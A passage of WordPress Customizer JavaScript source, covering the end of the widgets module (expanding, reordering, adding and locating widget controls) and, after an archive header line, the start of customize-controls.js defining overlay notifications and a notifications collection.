		 */
		onChangeExpanded: function ( expanded, args ) {
			var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn;

			self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI.
			if ( expanded ) {
				self.embedWidgetContent();
			}

			// If the expanded state is unchanged only manipulate container expanded states.
			if ( args.unchanged ) {
				if ( expanded ) {
					api.Control.prototype.expand.call( self, {
						completeCallback:  args.completeCallback
					});
				}
				return;
			}

			$widget = this.container.find( 'div.widget:first' );
			$inside = $widget.find( '.widget-inside:first' );
			$toggleBtn = this.container.find( '.widget-top button.widget-action' );

			expandControl = function() {

				// Close all other widget controls before expanding this one.
				api.control.each( function( otherControl ) {
					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
						otherControl.collapse();
					}
				} );

				complete = function() {
					self.container.removeClass( 'expanding' );
					self.container.addClass( 'expanded' );
					$widget.addClass( 'open' );
					$toggleBtn.attr( 'aria-expanded', 'true' );
					self.container.trigger( 'expanded' );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				if ( self.params.is_wide ) {
					$inside.fadeIn( args.duration, complete );
				} else {
					$inside.slideDown( args.duration, complete );
				}

				self.container.trigger( 'expand' );
				self.container.addClass( 'expanding' );
			};

			if ( $toggleBtn.attr( 'aria-expanded' ) === 'false' ) {
				if ( api.section.has( self.section() ) ) {
					api.section( self.section() ).expand( {
						completeCallback: expandControl
					} );
				} else {
					expandControl();
				}
			} else {
				complete = function() {
					self.container.removeClass( 'collapsing' );
					self.container.removeClass( 'expanded' );
					$widget.removeClass( 'open' );
					$toggleBtn.attr( 'aria-expanded', 'false' );
					self.container.trigger( 'collapsed' );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				self.container.trigger( 'collapse' );
				self.container.addClass( 'collapsing' );

				if ( self.params.is_wide ) {
					$inside.fadeOut( args.duration, complete );
				} else {
					$inside.slideUp( args.duration, function() {
						$widget.css( { width:'', margin:'' } );
						complete();
					} );
				}
			}
		},

		/**
		 * Get the position (index) of the widget in the containing sidebar
		 *
		 * @return {number}
		 */
		getWidgetSidebarPosition: function() {
			var sidebarWidgetIds, position;

			sidebarWidgetIds = this.getSidebarWidgetsControl().setting();
			position = _.indexOf( sidebarWidgetIds, this.params.widget_id );

			if ( position === -1 ) {
				return;
			}

			return position;
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveUp: function() {
			this._moveWidgetByOne( -1 );
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveDown: function() {
			this._moveWidgetByOne( 1 );
		},

		/**
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_moveWidgetByOne: function( offset ) {
			var i, sidebarWidgetsSetting, sidebarWidgetIds,	adjacentWidgetId;

			i = this.getWidgetSidebarPosition();

			sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting;
			sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // Clone.
			adjacentWidgetId = sidebarWidgetIds[i + offset];
			sidebarWidgetIds[i + offset] = this.params.widget_id;
			sidebarWidgetIds[i] = adjacentWidgetId;

			sidebarWidgetsSetting( sidebarWidgetIds );
		},

		/**
		 * Toggle visibility of the widget move area
		 *
		 * @param {boolean} [showOrHide]
		 */
		toggleWidgetMoveArea: function( showOrHide ) {
			var self = this, $moveWidgetArea;

			$moveWidgetArea = this.container.find( '.move-widget-area' );

			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! $moveWidgetArea.hasClass( 'active' );
			}

			if ( showOrHide ) {
				// Reset the selected sidebar.
				$moveWidgetArea.find( '.selected' ).removeClass( 'selected' );

				$moveWidgetArea.find( 'li' ).filter( function() {
					return $( this ).data( 'id' ) === self.params.sidebar_id;
				} ).addClass( 'selected' );

				this.container.find( '.move-widget-btn' ).prop( 'disabled', true );
			}

			$moveWidgetArea.toggleClass( 'active', showOrHide );
		},

		/**
		 * Highlight the widget control and section
		 */
		highlightSectionAndControl: function() {
			var $target;

			if ( this.container.is( ':hidden' ) ) {
				$target = this.container.closest( '.control-section' );
			} else {
				$target = this.container;
			}

			$( '.highlighted' ).removeClass( 'highlighted' );
			$target.addClass( 'highlighted' );

			setTimeout( function() {
				$target.removeClass( 'highlighted' );
			}, 500 );
		}
	} );

	/**
	 * wp.customize.Widgets.WidgetsPanel
	 *
	 * Customizer panel containing the widget area sections.
	 *
	 * @since 4.4.0
	 *
	 * @class    wp.customize.Widgets.WidgetsPanel
	 * @augments wp.customize.Panel
	 */
	api.Widgets.WidgetsPanel = api.Panel.extend(/** @lends wp.customize.Widgets.WigetsPanel.prototype */{

		/**
		 * Add and manage the display of the no-rendered-areas notice.
		 *
		 * @since 4.4.0
		 */
		ready: function () {
			var panel = this;

			api.Panel.prototype.ready.call( panel );

			panel.deferred.embedded.done(function() {
				var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice;
				panelMetaContainer = panel.container.find( '.panel-meta' );

				// @todo This should use the Notifications API introduced to panels. See <https://core.trac.wordpress.org/ticket/38794>.
				noticeContainer = $( '<div></div>', {
					'class': 'no-widget-areas-rendered-notice'
				});
				panelMetaContainer.append( noticeContainer );

				/**
				 * Get the number of active sections in the panel.
				 *
				 * @return {number} Number of active sidebar sections.
				 */
				getActiveSectionCount = function() {
					return _.filter( panel.sections(), function( section ) {
						return 'sidebar' === section.params.type && section.active();
					} ).length;
				};

				/**
				 * Determine whether or not the notice should be displayed.
				 *
				 * @return {boolean}
				 */
				shouldShowNotice = function() {
					var activeSectionCount = getActiveSectionCount();
					if ( 0 === activeSectionCount ) {
						return true;
					} else {
						return activeSectionCount !== api.Widgets.data.registeredSidebars.length;
					}
				};

				/**
				 * Update the notice.
				 *
				 * @return {void}
				 */
				updateNotice = function() {
					var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount;
					noticeContainer.empty();

					registeredAreaCount = api.Widgets.data.registeredSidebars.length;
					if ( activeSectionCount !== registeredAreaCount ) {

						if ( 0 !== activeSectionCount ) {
							nonRenderedAreaCount = registeredAreaCount - activeSectionCount;
							someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ];
						} else {
							someRenderedMessage = l10n.noAreasShown;
						}
						if ( someRenderedMessage ) {
							noticeContainer.append( $( '<p></p>', {
								text: someRenderedMessage
							} ) );
						}

						noticeContainer.append( $( '<p></p>', {
							text: l10n.navigatePreview
						} ) );
					}
				};
				updateNotice();

				/*
				 * Set the initial visibility state for rendered notice.
				 * Update the visibility of the notice whenever a reflow happens.
				 */
				noticeContainer.toggle( shouldShowNotice() );
				api.previewer.deferred.active.done( function () {
					noticeContainer.toggle( shouldShowNotice() );
				});
				api.bind( 'pane-contents-reflowed', function() {
					var duration = ( 'resolved' === api.previewer.deferred.active.state() ) ? 'fast' : 0;
					updateNotice();
					if ( shouldShowNotice() ) {
						noticeContainer.slideDown( duration );
					} else {
						noticeContainer.slideUp( duration );
					}
				});
			});
		},

		/**
		 * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas).
		 *
		 * This ensures that the widgets panel appears even when there are no
		 * sidebars displayed on the URL currently being previewed.
		 *
		 * @since 4.4.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function() {
			var panel = this;
			return panel.active();
		}
	});

	/**
	 * wp.customize.Widgets.SidebarSection
	 *
	 * Customizer section representing a widget area widget
	 *
	 * @since 4.1.0
	 *
	 * @class    wp.customize.Widgets.SidebarSection
	 * @augments wp.customize.Section
	 */
	api.Widgets.SidebarSection = api.Section.extend(/** @lends wp.customize.Widgets.SidebarSection.prototype */{

		/**
		 * Sync the section's active state back to the Backbone model's is_rendered attribute
		 *
		 * @since 4.1.0
		 */
		ready: function () {
			var section = this, registeredSidebar;
			api.Section.prototype.ready.call( this );
			registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId );
			section.active.bind( function ( active ) {
				registeredSidebar.set( 'is_rendered', active );
			});
			registeredSidebar.set( 'is_rendered', section.active() );
		}
	});

	/**
	 * wp.customize.Widgets.SidebarControl
	 *
	 * Customizer control for widgets.
	 * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type
	 *
	 * @since 3.9.0
	 *
	 * @class    wp.customize.Widgets.SidebarControl
	 * @augments wp.customize.Control
	 */
	api.Widgets.SidebarControl = api.Control.extend(/** @lends wp.customize.Widgets.SidebarControl.prototype */{

		/**
		 * Set up the control
		 */
		ready: function() {
			this.$controlSection = this.container.closest( '.control-section' );
			this.$sectionContent = this.container.closest( '.accordion-section-content' );

			this._setupModel();
			this._setupSortable();
			this._setupAddition();
			this._applyCardinalOrderClassNames();
		},

		/**
		 * Update ordering of widget control forms when the setting is updated
		 */
		_setupModel: function() {
			var self = this;

			this.setting.bind( function( newWidgetIds, oldWidgetIds ) {
				var widgetFormControls, removedWidgetIds, priority;

				removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds );

				// Filter out any persistent widget IDs for widgets which have been deactivated.
				newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) {
					var parsedWidgetId = parseWidgetId( newWidgetId );

					return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } );
				} );

				widgetFormControls = _( newWidgetIds ).map( function( widgetId ) {
					var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId );

					if ( ! widgetFormControl ) {
						widgetFormControl = self.addWidget( widgetId );
					}

					return widgetFormControl;
				} );

				// Sort widget controls to their new positions.
				widgetFormControls.sort( function( a, b ) {
					var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ),
						bIndex = _.indexOf( newWidgetIds, b.params.widget_id );
					return aIndex - bIndex;
				});

				priority = 0;
				_( widgetFormControls ).each( function ( control ) {
					control.priority( priority );
					control.section( self.section() );
					priority += 1;
				});
				self.priority( priority ); // Make sure sidebar control remains at end.

				// Re-sort widget form controls (including widgets form other sidebars newly moved here).
				self._applyCardinalOrderClassNames();

				// If the widget was dragged into the sidebar, make sure the sidebar_id param is updated.
				_( widgetFormControls ).each( function( widgetFormControl ) {
					widgetFormControl.params.sidebar_id = self.params.sidebar_id;
				} );

				// Cleanup after widget removal.
				_( removedWidgetIds ).each( function( removedWidgetId ) {

					// Using setTimeout so that when moving a widget to another sidebar,
					// the other sidebars_widgets settings get a chance to update.
					setTimeout( function() {
						var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase,
							widget, isPresentInAnotherSidebar = false;

						// Check if the widget is in another sidebar.
						api.each( function( otherSetting ) {
							if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) {
								return;
							}

							var otherSidebarWidgets = otherSetting(), i;

							i = _.indexOf( otherSidebarWidgets, removedWidgetId );
							if ( -1 !== i ) {
								isPresentInAnotherSidebar = true;
							}
						} );

						// If the widget is present in another sidebar, abort!
						if ( isPresentInAnotherSidebar ) {
							return;
						}

						removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId );

						// Detect if widget control was dragged to another sidebar.
						wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] );

						// Delete any widget form controls for removed widgets.
						if ( removedControl && ! wasDraggedToAnotherSidebar ) {
							api.control.remove( removedControl.id );
							removedControl.container.remove();
						}

						// Move widget to inactive widgets sidebar (move it to Trash) if has been previously saved.
						// This prevents the inactive widgets sidebar from overflowing with throwaway widgets.
						if ( api.Widgets.savedWidgetIds[removedWidgetId] ) {
							inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice();
							inactiveWidgets.push( removedWidgetId );
							api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() );
						}

						// Make old single widget available for adding again.
						removedIdBase = parseWidgetId( removedWidgetId ).id_base;
						widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } );
						if ( widget && ! widget.get( 'is_multi' ) ) {
							widget.set( 'is_disabled', false );
						}
					} );

				} );
			} );
		},

		/**
		 * Allow widgets in sidebar to be re-ordered, and for the order to be previewed
		 */
		_setupSortable: function() {
			var self = this;

			this.isReordering = false;

			/**
			 * Update widget order setting when controls are re-ordered
			 */
			this.$sectionContent.sortable( {
				items: '> .customize-control-widget_form',
				handle: '.widget-top',
				axis: 'y',
				tolerance: 'pointer',
				connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)',
				update: function() {
					var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds;

					widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) {
						return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val();
					} );

					self.setting( widgetIds );
				}
			} );

			/**
			 * Expand other Customizer sidebar section when dragging a control widget over it,
			 * allowing the control to be dropped into another section
			 */
			this.$controlSection.find( '.accordion-section-title' ).droppable({
				accept: '.customize-control-widget_form',
				over: function() {
					var section = api.section( self.section.get() );
					section.expand({
						allowMultiple: true, // Prevent the section being dragged from to be collapsed.
						completeCallback: function () {
							// @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed.
							api.section.each( function ( otherSection ) {
								if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) {
									otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' );
								}
							} );
						}
					});
				}
			});

			/**
			 * Keyboard-accessible reordering
			 */
			this.container.find( '.reorder-toggle' ).on( 'click', function() {
				self.toggleReordering( ! self.isReordering );
			} );
		},

		/**
		 * Set up UI for adding a new widget
		 */
		_setupAddition: function() {
			var self = this;

			this.container.find( '.add-new-widget' ).on( 'click', function() {
				var addNewWidgetBtn = $( this );

				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
					return;
				}

				if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) {
					addNewWidgetBtn.attr( 'aria-expanded', 'true' );
					api.Widgets.availableWidgetsPanel.open( self );
				} else {
					addNewWidgetBtn.attr( 'aria-expanded', 'false' );
					api.Widgets.availableWidgetsPanel.close();
				}
			} );
		},

		/**
		 * Add classes to the widget_form controls to assist with styling
		 */
		_applyCardinalOrderClassNames: function() {
			var widgetControls = [];
			_.each( this.setting(), function ( widgetId ) {
				var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
				if ( widgetControl ) {
					widgetControls.push( widgetControl );
				}
			});

			if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length && widgetControls.length <= 1 ) ) {
				this.container.find( '.reorder-toggle' ).hide();
				return;
			} else {
				this.container.find( '.reorder-toggle' ).show();
			}

			$( widgetControls ).each( function () {
				$( this.container )
					.removeClass( 'first-widget' )
					.removeClass( 'last-widget' )
					.find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 );
			});

			_.first( widgetControls ).container
				.addClass( 'first-widget' )
				.find( '.move-widget-up' ).prop( 'tabIndex', -1 );

			_.last( widgetControls ).container
				.addClass( 'last-widget' )
				.find( '.move-widget-down' ).prop( 'tabIndex', -1 );
		},


		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * Enable/disable the reordering UI
		 *
		 * @param {boolean} showOrHide to enable/disable reordering
		 *
		 * @todo We should have a reordering state instead and rename this to onChangeReordering
		 */
		toggleReordering: function( showOrHide ) {
			var addNewWidgetBtn = this.$sectionContent.find( '.add-new-widget' ),
				reorderBtn = this.container.find( '.reorder-toggle' ),
				widgetsTitle = this.$sectionContent.find( '.widget-title' );

			showOrHide = Boolean( showOrHide );

			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
				return;
			}

			this.isReordering = showOrHide;
			this.$sectionContent.toggleClass( 'reordering', showOrHide );

			if ( showOrHide ) {
				_( this.getWidgetFormControls() ).each( function( formControl ) {
					formControl.collapse();
				} );

				addNewWidgetBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				reorderBtn.attr( 'aria-label', l10n.reorderLabelOff );
				wp.a11y.speak( l10n.reorderModeOn );
				// Hide widget titles while reordering: title is already in the reorder controls.
				widgetsTitle.attr( 'aria-hidden', 'true' );
			} else {
				addNewWidgetBtn.removeAttr( 'tabindex aria-hidden' );
				reorderBtn.attr( 'aria-label', l10n.reorderLabelOn );
				wp.a11y.speak( l10n.reorderModeOff );
				widgetsTitle.attr( 'aria-hidden', 'false' );
			}
		},

		/**
		 * Get the widget_form Customize controls associated with the current sidebar.
		 *
		 * @since 3.9.0
		 * @return {wp.customize.controlConstructor.widget_form[]}
		 */
		getWidgetFormControls: function() {
			var formControls = [];

			_( this.setting() ).each( function( widgetId ) {
				var settingId = widgetIdToSettingId( widgetId ),
					formControl = api.control( settingId );
				if ( formControl ) {
					formControls.push( formControl );
				}
			} );

			return formControls;
		},

		/**
		 * @param {string} widgetId or an id_base for adding a previously non-existing widget.
		 * @return {Object|false} widget_form control instance, or false on error.
		 */
		addWidget: function( widgetId ) {
			var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor,
				parsedWidgetId = parseWidgetId( widgetId ),
				widgetNumber = parsedWidgetId.number,
				widgetIdBase = parsedWidgetId.id_base,
				widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ),
				settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting;

			if ( ! widget ) {
				return false;
			}

			if ( widgetNumber && ! widget.get( 'is_multi' ) ) {
				return false;
			}

			// Set up new multi widget.
			if ( widget.get( 'is_multi' ) && ! widgetNumber ) {
				widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 );
				widgetNumber = widget.get( 'multi_number' );
			}

			controlHtml = $( '#widget-tpl-' + widget.get( 'id' ) ).html().trim();
			if ( widget.get( 'is_multi' ) ) {
				controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) {
					return m.replace( /__i__|%i%/g, widgetNumber );
				} );
			} else {
				widget.set( 'is_disabled', true ); // Prevent single widget from being added again now.
			}

			$widget = $( controlHtml );

			controlContainer = $( '<li/>' )
				.addClass( 'customize-control' )
				.addClass( 'customize-control-' + controlType )
				.append( $widget );

			// Remove icon which is visible inside the panel.
			controlContainer.find( '> .widget-icon' ).remove();

			if ( widget.get( 'is_multi' ) ) {
				controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber );
				controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber );
			}

			widgetId = controlContainer.find( '[name="widget-id"]' ).val();

			controlContainer.hide(); // To be slid-down below.

			settingId = 'widget_' + widget.get( 'id_base' );
			if ( widget.get( 'is_multi' ) ) {
				settingId += '[' + widgetNumber + ']';
			}
			controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) );

			// Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget).
			isExistingWidget = api.has( settingId );
			if ( ! isExistingWidget ) {
				settingArgs = {
					transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( 'id_base' ) ] ? 'postMessage' : 'refresh',
					previewer: this.setting.previewer
				};
				setting = api.create( settingId, settingId, '', settingArgs );
				setting.set( {} ); // Mark dirty, changing from '' to {}.
			}

			controlConstructor = api.controlConstructor[controlType];
			widgetFormControl = new controlConstructor( settingId, {
				settings: {
					'default': settingId
				},
				content: controlContainer,
				sidebar_id: self.params.sidebar_id,
				widget_id: widgetId,
				widget_id_base: widget.get( 'id_base' ),
				type: controlType,
				is_new: ! isExistingWidget,
				width: widget.get( 'width' ),
				height: widget.get( 'height' ),
				is_wide: widget.get( 'is_wide' )
			} );
			api.control.add( widgetFormControl );

			// Make sure widget is removed from the other sidebars.
			api.each( function( otherSetting ) {
				if ( otherSetting.id === self.setting.id ) {
					return;
				}

				if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) {
					return;
				}

				var otherSidebarWidgets = otherSetting().slice(),
					i = _.indexOf( otherSidebarWidgets, widgetId );

				if ( -1 !== i ) {
					otherSidebarWidgets.splice( i );
					otherSetting( otherSidebarWidgets );
				}
			} );

			// Add widget to this sidebar.
			sidebarWidgets = this.setting().slice();
			if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) {
				sidebarWidgets.push( widgetId );
				this.setting( sidebarWidgets );
			}

			controlContainer.slideDown( function() {
				if ( isExistingWidget ) {
					widgetFormControl.updateWidget( {
						instance: widgetFormControl.setting()
					} );
				}
			} );

			return widgetFormControl;
		}
	} );

	// Register models for custom panel, section, and control types.
	$.extend( api.panelConstructor, {
		widgets: api.Widgets.WidgetsPanel
	});
	$.extend( api.sectionConstructor, {
		sidebar: api.Widgets.SidebarSection
	});
	$.extend( api.controlConstructor, {
		widget_form: api.Widgets.WidgetControl,
		sidebar_widgets: api.Widgets.SidebarControl
	});

	/**
	 * Init Customizer for widgets.
	 */
	api.bind( 'ready', function() {
		// Set up the widgets panel.
		api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({
			collection: api.Widgets.availableWidgets
		});

		// Highlight widget control.
		api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl );

		// Open and focus widget control.
		api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl );
	} );

	/**
	 * Highlight a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.highlightWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.highlightSectionAndControl();
		}
	},

	/**
	 * Focus a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.focusWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.focus();
		}
	},

	/**
	 * Given a widget control, find the sidebar widgets control that contains it.
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) {
		var foundControl = null;

		// @todo This can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl().
		api.control.each( function( control ) {
			if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it.
	 *
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getWidgetFormControlForWidget = function( widgetId ) {
		var foundControl = null;

		// @todo We can just use widgetIdToSettingId() here.
		api.control.each( function( control ) {
			if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Initialize Edit Menu button in Nav Menu widget.
	 */
	$( document ).on( 'widget-added', function( event, widgetContainer ) {
		var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton;
		parsedWidgetId = parseWidgetId( widgetContainer.find( '> .widget-inside > .form > .widget-id' ).val() );
		if ( 'nav_menu' !== parsedWidgetId.id_base ) {
			return;
		}
		widgetControl = api.control( 'widget_nav_menu[' + String( parsedWidgetId.number ) + ']' );
		if ( ! widgetControl ) {
			return;
		}
		navMenuSelect = widgetContainer.find( 'select[name*="nav_menu"]' );
		editMenuButton = widgetContainer.find( '.edit-selected-nav-menu > button' );
		if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) {
			return;
		}
		navMenuSelect.on( 'change', function() {
			if ( api.section.has( 'nav_menu[' + navMenuSelect.val() + ']' ) ) {
				editMenuButton.parent().show();
			} else {
				editMenuButton.parent().hide();
			}
		});
		editMenuButton.on( 'click', function() {
			var section = api.section( 'nav_menu[' + navMenuSelect.val() + ']' );
			if ( section ) {
				focusConstructWithBreadcrumb( section, widgetControl );
			}
		} );
	} );

	/**
	 * Focus (expand) one construct and then focus on another construct after the first is collapsed.
	 *
	 * This overrides the back button to serve the purpose of breadcrumb navigation.
	 *
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus.
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus.
	 */
	function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) {
		focusConstruct.focus();
		function onceCollapsed( isExpanded ) {
			if ( ! isExpanded ) {
				focusConstruct.expanded.unbind( onceCollapsed );
				returnConstruct.focus();
			}
		}
		focusConstruct.expanded.bind( onceCollapsed );
	}

	/**
	 * @param {string} widgetId
	 * @return {Object}
	 */
	function parseWidgetId( widgetId ) {
		var matches, parsed = {
			number: null,
			id_base: null
		};

		matches = widgetId.match( /^(.+)-(\d+)$/ );
		if ( matches ) {
			parsed.id_base = matches[1];
			parsed.number = parseInt( matches[2], 10 );
		} else {
			// Likely an old single widget.
			parsed.id_base = widgetId;
		}

		return parsed;
	}

	/**
	 * @param {string} widgetId
	 * @return {string} settingId
	 */
	function widgetIdToSettingId( widgetId ) {
		var parsed = parseWidgetId( widgetId ), settingId;

		settingId = 'widget_' + parsed.id_base;
		if ( parsed.number ) {
			settingId += '[' + parsed.number + ']';
		}

		return settingId;
	}

})( window.wp, jQuery );
customize-controls.js000064400001074731150276633110011006 0ustar00/**
 * @output wp-admin/js/customize-controls.js
 */

/* global _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n, MediaElementPlayer, console, confirm */
(function( exports, $ ){
	var Container, focus, normalizedTransitionendEventName, api = wp.customize;

	var reducedMotionMediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
	var isReducedMotion = reducedMotionMediaQuery.matches;
	reducedMotionMediaQuery.addEventListener( 'change' , function handleReducedMotionChange( event ) {
		isReducedMotion = event.matches;
	});

	api.OverlayNotification = api.Notification.extend(/** @lends wp.customize.OverlayNotification.prototype */{

		/**
		 * Whether the notification should show a loading spinner.
		 *
		 * @since 4.9.0
		 * @var {boolean}
		 */
		loading: false,

		/**
		 * A notification that is displayed in a full-screen overlay.
		 *
		 * @constructs wp.customize.OverlayNotification
		 * @augments   wp.customize.Notification
		 *
		 * @since 4.9.0
		 *
		 * @param {string} code - Code.
		 * @param {Object} params - Params.
		 */
		initialize: function( code, params ) {
			var notification = this;
			api.Notification.prototype.initialize.call( notification, code, params );
			notification.containerClasses += ' notification-overlay';
			if ( notification.loading ) {
				notification.containerClasses += ' notification-loading';
			}
		},

		/**
		 * Render notification.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery} Notification container.
		 */
		render: function() {
			var li = api.Notification.prototype.render.call( this );
			li.on( 'keydown', _.bind( this.handleEscape, this ) );
			return li;
		},

		/**
		 * Stop propagation on escape key presses, but also dismiss notification if it is dismissible.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		handleEscape: function( event ) {
			var notification = this;
			if ( 27 === event.which ) {
				event.stopPropagation();
				if ( notification.dismissible && notification.parent ) {
					notification.parent.remove( notification.code );
				}
			}
		}
	});

	api.Notifications = api.Values.extend(/** @lends wp.customize.Notifications.prototype */{

		/**
		 * Whether the alternative style should be used.
		 *
		 * @since 4.9.0
		 * @type {boolean}
		 */
		alt: false,

		/**
		 * The default constructor for items of the collection.
		 *
		 * @since 4.9.0
		 * @type {object}
		 */
		defaultConstructor: api.Notification,

		/**
		 * A collection of observable notifications.
		 *
		 * @since 4.9.0
		 *
		 * @constructs wp.customize.Notifications
		 * @augments   wp.customize.Values
		 *
		 * @param {Object}  options - Options.
		 * @param {jQuery}  [options.container] - Container element for notifications. This can be injected later.
		 * @param {boolean} [options.alt] - Whether alternative style should be used when rendering notifications.
		 *
		 * @return {void}
		 */
		initialize: function( options ) {
			var collection = this;

			api.Values.prototype.initialize.call( collection, options );

			_.bindAll( collection, 'constrainFocus' );

			// Keep track of the order in which the notifications were added for sorting purposes.
			collection._addedIncrement = 0;
			collection._addedOrder = {};

			// Trigger change event when notification is added or removed.
			collection.bind( 'add', function( notification ) {
				collection.trigger( 'change', notification );
			});
			collection.bind( 'removed', function( notification ) {
				collection.trigger( 'change', notification );
			});
		},

		/**
		 * Get the number of notifications added.
		 *
		 * @since 4.9.0
		 * @return {number} Count of notifications.
		 */
		count: function() {
			return _.size( this._value );
		},

		/**
		 * Add notification to the collection.
		 *
		 * @since 4.9.0
		 *
		 * @param {string|wp.customize.Notification} notification - Notification object to add. Alternatively code may be supplied, and in that case the second notificationObject argument must be supplied.
		 * @param {wp.customize.Notification} [notificationObject] - Notification to add when first argument is the code string.
		 * @return {wp.customize.Notification} Added notification (or existing instance if it was already added).
		 */
		add: function( notification, notificationObject ) {
			var collection = this, code, instance;
			if ( 'string' === typeof notification ) {
				code = notification;
				instance = notificationObject;
			} else {
				code = notification.code;
				instance = notification;
			}
			if ( ! collection.has( code ) ) {
				collection._addedIncrement += 1;
				collection._addedOrder[ code ] = collection._addedIncrement;
			}
			return api.Values.prototype.add.call( collection, code, instance );
		},

		/**
		 * Add notification to the collection.
		 *
		 * @since 4.9.0
		 * @param {string} code - Notification code to remove.
		 * @return {api.Notification} Added instance (or existing instance if it was already added).
		 */
		remove: function( code ) {
			var collection = this;
			delete collection._addedOrder[ code ];
			return api.Values.prototype.remove.call( this, code );
		},

		/**
		 * Get list of notifications.
		 *
		 * Notifications may be sorted by type followed by added time.
		 *
		 * @since 4.9.0
		 * @param {Object}  args - Args.
		 * @param {boolean} [args.sort=false] - Whether to return the notifications sorted.
		 * @return {Array.<wp.customize.Notification>} Notifications.
		 */
		get: function( args ) {
			var collection = this, notifications, errorTypePriorities, params;
			notifications = _.values( collection._value );

			params = _.extend(
				{ sort: false },
				args
			);

			if ( params.sort ) {
				errorTypePriorities = { error: 4, warning: 3, success: 2, info: 1 };
				notifications.sort( function( a, b ) {
